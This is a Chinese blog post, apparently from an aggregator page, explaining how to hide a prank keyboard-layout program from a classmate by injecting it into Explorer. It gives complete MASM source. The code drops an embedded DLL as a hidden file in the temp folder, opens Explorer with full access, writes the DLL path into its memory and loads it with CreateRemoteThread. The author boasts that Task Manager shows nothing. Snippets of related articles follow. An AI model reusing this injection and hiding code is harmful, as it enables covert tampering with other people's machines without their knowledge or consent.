用dll注入的方式隱藏程序

2021-06-15 18:32:39 字數 3324 閱讀 1117

上次那個改變鍵盤布局的程式,被同學很容易的就在任務管理器裡找出來殺掉了,不爽!想個辦法把它藏起來。

先把原來的那個程式稍做修改,然後build成dll。即加乙個dllentry就行了。

dllentry proc hinst: hinstance, reason: dword, reserved1: dword

local @dwthreadid

.if reason == dll_process_attach

push hinst

pop inst

invoke createthread, null, 0, addr winmain, null, null, addr @dwthreadid

invoke closehandle, eax

.endif

mov eax, true

retdllentry endp

然後ml /c /coff /cp test.asm

link /dll /subsystem:windows test.obj

1000 rcdata hookx.dll

然後rc test.rc就得到了test.res,一會兒link的時候用。

下面就是寫主程式了。程式中首先找到資源,把它釋放到windows的temp資料夾下,並指定隱藏屬性(為了隱蔽嘛)。然後就是findwindow,找到資源管理器(找它是因為幾乎所有系統中都會開這個程序嘛),開啟,申請空間,寫入loadlibrarya的位址,createremotethread建立遠端執行緒就ok了。

這裡有一點要注意的就是,建立了遠端執行緒之後要讓該執行緒馬上返回,否則被注入的程式就會一直等待,這也就是為什麼我在dllentry中又用了乙個createthread的原因。

下面就是源程式了,就是連續呼叫一堆函式,也沒注釋,沒做返回值的檢查,崩潰了就不管嘍!

.386

.model flat, stdcall

option casemap: none

include /masm32/include/windows.inc

include /masm32/include/kernel32.inc

include /masm32/include/user32.inc

includelib /masm32/lib/kernel32.lib

includelib /masm32/lib/user32.lib

rcid equ 1000

.const

szkerdll db 'kernel32.dll', 0

szhookxdll db 'hookx.dll', 0

szdesktopclass db 'progman', 0

szdesktopwindow db 'program manager', 0

szloadlib db 'loadlibrarya', 0

.data

szbuf db 256 dup(0)

sztemppath db 256 dup(0)

szfmt db '%s%s', 0

.data?

hinstance dd ?

hresinfo dd ?

hresdata dd ?

lpresdata dd ?

dwresdatalen dd ?

hhookxdll dd ?

dwwrote dd ?

dwprocessid dd ?

hprocess dd ?

lpcoderemote dd ?

.code

start:

invoke getmodulehandle, null

mov hinstance, eax

invoke findresource, hinstance, rcid, rt_rcdata

mov hresinfo, eax

invoke loadresource, hinstance, hresinfo

mov hresdata, eax

invoke lockresource, hresdata

mov lpresdata, eax

invoke sizeofresource, hinstance, hresinfo

mov dwresdatalen, eax

invoke gettemppath, sizeof sztemppath, offset sztemppath

invoke wsprintf, offset szbuf, offset szfmt, offset sztemppath, offset szhookxdll

invoke createfile, offset szbuf, generic_write, 0, null, create_always, file_attribute_normal or file_attribute_hidden, 0

mov hhookxdll, eax

invoke writefile, hhookxdll, lpresdata, dwresdatalen, offset dwwrote, null

invoke findwindow, offset szdesktopclass, offset szdesktopwindow

invoke getwindowthreadprocessid, eax, offset dwprocessid

invoke openprocess, process_all_access, false, dwprocessid

mov hprocess, eax

invoke virtualallocex, hprocess, 0, sizeof szbuf, mem_commit, page_execute_readwrite

mov lpcoderemote, eax

invoke writeprocessmemory, hprocess, lpcoderemote, offset szbuf, sizeof szbuf, null

invoke loadlibrary, offset szkerdll

invoke getprocaddress, eax, offset szloadlib

invoke createremotethread, hprocess, 0, 0, eax, lpcoderemote, 0, 0

invoke closehandle, eax

invoke closehandle, hprocess

invoke exitprocess, 0

end start

好了,編譯連線一下,這回再執行,按alt+ctrl+del看一下,哈哈,沒有任何跡象,成功!這回他該納悶了,我的鍵盤怎麼又不好使了??

用dll注入的方式隱藏程序

上次那個 改變鍵盤布局的程式,被同學很容易的就在任務管理器裡找出來殺掉了,不爽!想個辦法把它藏起來。先把原來的那個程式稍做修改,然後build成dll。即加乙個dllentry就行了。dllentry proc hinst hinstance,reason dword,reserved1 dword...

緝拿隱藏程序以及隱藏CPU利用率的程序

前面我介紹過很多隱藏程序的把戲,隨後我對每一種把戲有針對性的給出了反制措施,可以翻看我2020 03 2020 08的文章,太多了,不再一一枚舉。如今,我要介紹一種超級簡單的手段,手藝人必備。無論你是隱藏了程序,還是隱藏了程序的cpu利用率,只要它在cpu上執行,在下面的指令碼面前,任何隱藏手段終歸...

c 隱藏程序 Linux 檢視程序的動態資訊

top命令經常用來監控linux的系統狀況,是常用的效能分析工具,能夠實時顯示系統中各個程序的資源占用情況 一 描述 二 top命令常用字段含義 三 top中的子命令 四 總結 五 思維導圖 1 top命令 2 與ps命令的區別 1 前6行 2 pid,user,pr,ni 與ps命令中的字段含義相...